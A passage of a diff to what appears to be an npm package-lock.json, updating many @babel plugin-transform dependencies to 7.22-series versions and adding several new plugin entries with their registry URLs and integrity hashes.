"@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1266,12 +1132,28 @@ } }, "node_modules/@babel/plugin-transform-duplicate-keys": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz", - "integrity": "sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.22.11.tgz", + "integrity": "sha512-g/21plo58sfteWjaO0ZNVb+uEOkJNjAaHhbejrnBmu011l/eNDScmkbjCC3l4FKb10ViaGU4aOkFznSu2zRHgA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" }, "engines": { "node": ">=6.9.0" @@ -1281,13 +1163,29 @@ } }, "node_modules/@babel/plugin-transform-exponentiation-operator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz", - "integrity": "sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", "dev": true, "dependencies": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.22.11.tgz", + "integrity": "sha512-xa7aad7q7OiT8oNZ1mU7NrISjlSkVdMbNxn9IuLZyL9AJEhs1Apba3I+u5riX1dIkdptP5EKDG5XDPByWxtehw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" }, "engines": { "node": ">=6.9.0" @@ -1297,12 +1195,12 @@ } }, "node_modules/@babel/plugin-transform-for-of": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.21.0.tgz", - "integrity": "sha512-LlUYlydgDkKpIY7mcBWvyPPmMcOphEyYA27Ef4xpbh1IiDNLr0kZsos2nf92vz3IccvJI25QUwp86Eo5s6HmBQ==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.15.tgz", + "integrity": "sha512-me6VGeHsx30+xh9fbDLLPi0J1HzmeIIyenoOQHuw2D4m2SAU3NrspX5XxJLBpqn5yrLzrlw2Iy3RA//Bx27iOA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1312,14 +1210,30 @@ } }, "node_modules/@babel/plugin-transform-function-name": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.18.9.tgz", - "integrity": "sha512-WvIBoRPaJQ5yVHzcnJFor7oS5Ls0PYixlTYE63lCj2RtdQEl15M68FXQlxnG6wdraJIXRdR7KI+hQ7q/9QjrCQ==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.22.11.tgz", + "integrity": "sha512-CxT5tCqpA9/jXFlme9xIBCc5RPtdDq3JpkkhgHQqtDdiTnTI0jtZ0QzXhr5DILeYifDPp2wvY2ad+7+hLMW5Pw==", "dev": true, "dependencies": { - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-function-name": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" }, "engines": { "node": ">=6.9.0" @@ -1329,12 +1243,28 @@ } }, "node_modules/@babel/plugin-transform-literals": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.18.9.tgz", - "integrity": "sha512-IFQDSRoTPnrAIrI5zoZv73IFeZu2dhu6irxQjY9rNjTT53VmKg9fenjvoiOWOkJ6mm4jKVPtdMzBY98Fp4Z4cg==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.22.11.tgz", + "integrity": "sha512-qQwRTP4+6xFCDV5k7gZBF3C31K34ut0tbEcTKxlX/0KXxm9GLcO14p570aWxFvVzx6QAfPgq7gaeIHXJC8LswQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" }, "engines": { "node": ">=6.9.0" @@ -1344,12 +1274,12 @@ } }, "node_modules/@babel/plugin-transform-member-expression-literals": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz", - "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1359,13 +1289,13 @@ } }, "node_modules/@babel/plugin-transform-modules-amd": { - "version": "7.20.11", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.20.11.tgz", - "integrity": "sha512-NuzCt5IIYOW0O30UvqktzHYR2ud5bOWbY0yaxWZ6G+aFzOMJvrs5YHNikrbdaT15+KNO31nPOy5Fim3ku6Zb5g==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", "dev": true, "dependencies": { - "@babel/helper-module-transforms": "^7.20.11", - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1375,14 +1305,14 @@ } }, "node_modules/@babel/plugin-transform-modules-commonjs": { - "version": "7.21.2", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.21.2.tgz", - "integrity": "sha512-Cln+Yy04Gxua7iPdj6nOV96smLGjpElir5YwzF0LBPKoPlLDNJePNlrGGaybAJkd0zKRnOVXOgizSqPYMNYkzA==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.15.tgz", + "integrity": "sha512-jWL4eh90w0HQOTKP2MoXXUpVxilxsB2Vl4ji69rSjS3EcZ/v4sBmn+A3NpepuJzBhOaEBbR7udonlHHn5DWidg==", "dev": true, "dependencies": { - "@babel/helper-module-transforms": "^7.21.2", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-simple-access": "^7.20.2" + "@babel/helper-module-transforms": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1392,15 +1322,15 @@ } }, "node_modules/@babel/plugin-transform-modules-systemjs": { - "version": "7.20.11", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.20.11.tgz", - "integrity": "sha512-vVu5g9BPQKSFEmvt2TA4Da5N+QVS66EX21d8uoOihC+OCpUoGvzVsXeqFdtAEfVa5BILAeFt+U7yVmLbQnAJmw==", + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.11.tgz", + "integrity": "sha512-rIqHmHoMEOhI3VkVf5jQ15l539KrwhzqcBO6wdCNWPWc/JWt9ILNYNUssbRpeq0qWns8svuw8LnMNCvWBIJ8wA==", "dev": true, "dependencies": { - "@babel/helper-hoist-variables": "^7.18.6", - "@babel/helper-module-transforms": "^7.20.11", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/helper-validator-identifier": "^7.19.1" + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-module-transforms": "^7.22.9", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1410,13 +1340,13 @@ } }, "node_modules/@babel/plugin-transform-modules-umd": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz", - "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.22.5.tgz", + "integrity": "sha512-+S6kzefN/E1vkSsKx8kmQuqeQsvCKCd1fraCM7zXm4SFoggI099Tr4G8U81+5gtMdUeMQ4ipdQffbKLX0/7dBQ==", "dev": true, "dependencies": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1426,13 +1356,13 @@ } }, "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.20.5.tgz", - "integrity": "sha512-mOW4tTzi5iTLnw+78iEq3gr8Aoq4WNRGpmSlrogqaiCBoR1HFhpU4JkpQFOHfeYx3ReVIFWOQJS4aZBRvuZ6mA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.22.5.tgz", + "integrity": "sha512-YgLLKmS3aUBhHaxp5hi1WJTgOUb/NCuDHzGT9z9WTt3YG+CPRhJs6nprbStx6DnWM4dh6gt7SU3sZodbZ08adQ==", "dev": true, "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.20.5", - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1442,12 +1372,63 @@ } }, "node_modules/@babel/plugin-transform-new-target": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz", - "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.22.5.tgz", + "integrity": "sha512-AsF7K0Fx/cNKVyk3a+DW0JLo+Ua598/NxMRvxDnkpCIGFh43+h/v2xyhRUYf6oD8gE4QtL83C7zZVghMjHd+iw==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.22.11.tgz", + "integrity": "sha512-YZWOw4HxXrotb5xsjMJUDlLgcDXSfO9eCmdl1bgW4+/lAGdkjaEvOnQ4p5WKKdUgSzO39dgPl0pTnfxm0OAXcg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.22.11.tgz", + "integrity": "sha512-3dzU4QGPsILdJbASKhF/V2TVP+gJya1PsueQCxIPCEcerqF21oEcrob4mzjsp2Py/1nLfF5m+xYNMDpmA8vffg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.22.15.tgz", + "integrity": "sha512-fEB+I1+gAmfAyxZcX1+ZUwLeAuuf8VIg67CTznZE0MqVFumWkh8xWtn58I4dxdVf080wn7gzWoF8vndOViJe9Q==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.9", + "@babel/helper-compilation-targets": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.22.15" }, "engines": { "node": ">=6.9.0" @@ -1457,13 +1438,46 @@ } }, "node_modules/@babel/plugin-transform-object-super": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz", - "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.22.5.tgz", + "integrity": "sha512-klXqyaT9trSjIUrcsYIfETAzmOEZL3cBYqOYLJxBHfMFFggmXOv+NYSX/Jbs9mzMVESw/WycLFPRx8ba/b2Ipw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.22.11.tgz", + "integrity": "sha512-rli0WxesXUeCJnMYhzAglEjLWVDF6ahb45HuprcmQuLidBJFWjNnOzssk2kuc6e33FlLaiZhG/kUIzUMWdBKaQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.22.15.tgz", + "integrity": "sha512-ngQ2tBhq5vvSJw2Q2Z9i7ealNkpDMU0rGWnHPKqRZO0tzZ5tlaoz4hDvhXioOoaE0X2vfNss1djwg0DXlfu30A==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-replace-supers": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" }, "engines": { "node": ">=6.9.0" @@ -1473,12 +1487,46 @@ } }, "node_modules/@babel/plugin-transform-parameters": { - "version": "7.20.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.20.7.tgz", - "integrity": "sha512-WiWBIkeHKVOSYPO0pWkxGPfKeWrCJyD3NJ53+Lrp/QMSZbsVPovrVl2aWZ19D/LTVnaDv5Ap7GJ/B2CTOZdrfA==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.22.15.tgz", + "integrity": "sha512-hjk7qKIqhyzhhUvRT683TYQOFa/4cQKwQy7ALvTpODswN40MljzNDa0YldevS6tGbxwaEKVn502JmY0dP7qEtQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.22.5.tgz", + "integrity": "sha512-PPjh4gyrQnGe97JTalgRGMuU4icsZFnWkzicB/fUtzlKUqvsWBKEpPPfr5a2JiyirZkHxnAqkQMO5Z5B2kK3fA==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.22.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.22.11.tgz", + "integrity": "sha512-sSCbqZDBKHetvjSwpyWzhuHkmW5RummxJBVbYLkGkaiTOWGxml7SXt0iWa03bzxFIx7wOj3g/ILRd0RcJKBeSQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2" + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-create-class-features-plugin": "^7.22.11", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" }, "engines": { "node": ">=6.9.0" @@ -1488,12 +1536,12 @@ } }, "node_modules/@babel/plugin-transform-property-literals": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz", - "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.22.5.tgz", + "integrity": "sha512-TiOArgddK3mK/x1Qwf5hay2pxI6wCZnvQqrFSqbtg1GLl2JcNMitVH/YnqjP+M31pLUeTfzY1HAXFDnUBV30rQ==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1503,12 +1551,12 @@ } }, "node_modules/@babel/plugin-transform-react-display-name": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.18.6.tgz", - "integrity": "sha512-TV4sQ+T013n61uMoygyMRm+xf04Bd5oqFpv2jAEQwSZ8NwQA7zeRPg1LMVg2PWi3zWBz+CLKD+v5bcpZ/BS0aA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.22.5.tgz", + "integrity": "sha512-PVk3WPYudRF5z4GKMEYUrLjPl38fJSKNaEOkFuoprioowGuWN6w2RKznuFNSlJx7pzzXXStPUnNSOEO0jL5EVw==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1518,16 +1566,16 @@ } }, "node_modules/@babel/plugin-transform-react-jsx": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.21.0.tgz", - "integrity": "sha512-6OAWljMvQrZjR2DaNhVfRz6dkCAVV+ymcLUmaf8bccGOHn2v5rHJK3tTpij0BuhdYWP4LLaqj5lwcdlpAAPuvg==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.22.15.tgz", + "integrity": "sha512-oKckg2eZFa8771O/5vi7XeTvmM6+O9cxZu+kanTU7tD4sin5nO/G8jGJhq8Hvt2Z0kUoEDRayuZLaUlYl8QuGA==", "dev": true, "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-plugin-utils": "^7.20.2", - "@babel/plugin-syntax-jsx": "^7.18.6", - "@babel/types": "^7.21.0" + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/types": "^7.22.15" }, "engines": { "node": ">=6.9.0" @@ -1537,12 +1585,12 @@ } }, "node_modules/@babel/plugin-transform-react-jsx-development": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz", - "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.22.5.tgz", + "integrity": "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A==", "dev": true, "dependencies": { - "@babel/plugin-transform-react-jsx": "^7.18.6" + "@babel/plugin-transform-react-jsx": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1552,13 +1600,13 @@ } }, "node_modules/@babel/plugin-transform-react-pure-annotations": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.18.6.tgz", - "integrity": "sha512-I8VfEPg9r2TRDdvnHgPepTKvuRomzA8+u+nhY7qSI1fR2hRNebasZEETLyM5mAUr0Ku56OkXJ0I7NHJnO6cJiQ==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.22.5.tgz", + "integrity": "sha512-gP4k85wx09q+brArVinTXhWiyzLl9UpmGva0+mWyKxk6JZequ05x3eUcIUE+FyttPKJFRRVtAvQaJ6YF9h1ZpA==", "dev": true, "dependencies": { - "@babel/helper-annotate-as-pure": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1568,13 +1616,13 @@ } }, "node_modules/@babel/plugin-transform-regenerator": { - "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.20.5.tgz", - "integrity": "sha512-kW/oO7HPBtntbsahzQ0qSE3tFvkFwnbozz3NWFhLGqH75vLEg+sCGngLlhVkePlCs3Jv0dBBHDzCHxNiFAQKCQ==", + "version": "7.22.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.22.10.tgz", + "integrity": "sha512-F28b1mDt8KcT5bUyJc/U9nwzw6cV+UmTeRlXYIl2TNqMMJif0Jeey9/RQ3C4NOd2zp0/TRsDns9ttj2L523rsw==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.20.2", - "regenerator-transform": "^0.15.1" + "@babel/helper-plugin-utils": "^7.22.5", + "regenerator-transform": "^0.15.2" }, "engines": { "node": ">=6.9.0" @@ -1584,12 +1632,12 @@ } }, "node_modules/@babel/plugin-transform-reserved-words": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz", - "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==", + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.22.5.tgz", + "integrity": "sha512-DTtGKFRQUDm8svigJzZHzb/2xatPc6TzNvAIJ5GqOKDsGFYgAskjRulbR/vGsPKq3OPqtexnz327qYpP57RFyA==", "dev": true, "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.22.5" }, "engines": { "node": ">=6.9.0" @@ -1599,17 +1647,17 @@ } }, "node_modules/@babel/plugin-transform-runtime": { - "version": "7.21.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.21.0.tgz", - "integrity": "sha512-ReY6pxwSzEU0b3r2/T/VhqMKg/AkceBT19X0UptA3/tYi5Pe2eXgEUH+NNMC5nok6c6XQz5tyVTUpuezRfSMSg==", + "version": "7.22.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.22.15.tgz", + "integrity": "sha512-tEVLhk8NRZSmwQ0DJtxxhTrCht1HVo8VaMzYT4w6lwyKBuHsgoioAUA7/6eT2fRfc5/23fuGdlwIxXhRVgWr4g==", "dev": true, "dependencies": { - "@babel/helper-module-imports": "^7.18.6", - "@babel/helper-plugin-utils": "^7.20.2", - "babel-plugin-polyfill-corejs2": "^0.3.3", - "babel-plugin-polyfill-corejs3": "^0.6.0", - "babel-plugin-polyfill-regenerator": "^0.4.1", - "semver": "^6.3.0" + "@babel/helper-module-imports": "^7.22.15", + "@babel/helper-plugin-utils": "^7.22.5", + "babel-plugin-polyfill-corejs2": "^0.4.5", + "babel-plugin-polyfill-corejs3": "^0.8.3", + "babel-plugin-polyfill-regenerator": "^0.5.2", + "semver": "^6.3.1" }, "engines": { "node": ">=6.9.0" @@ -1619,21 +1667,21 @@ } 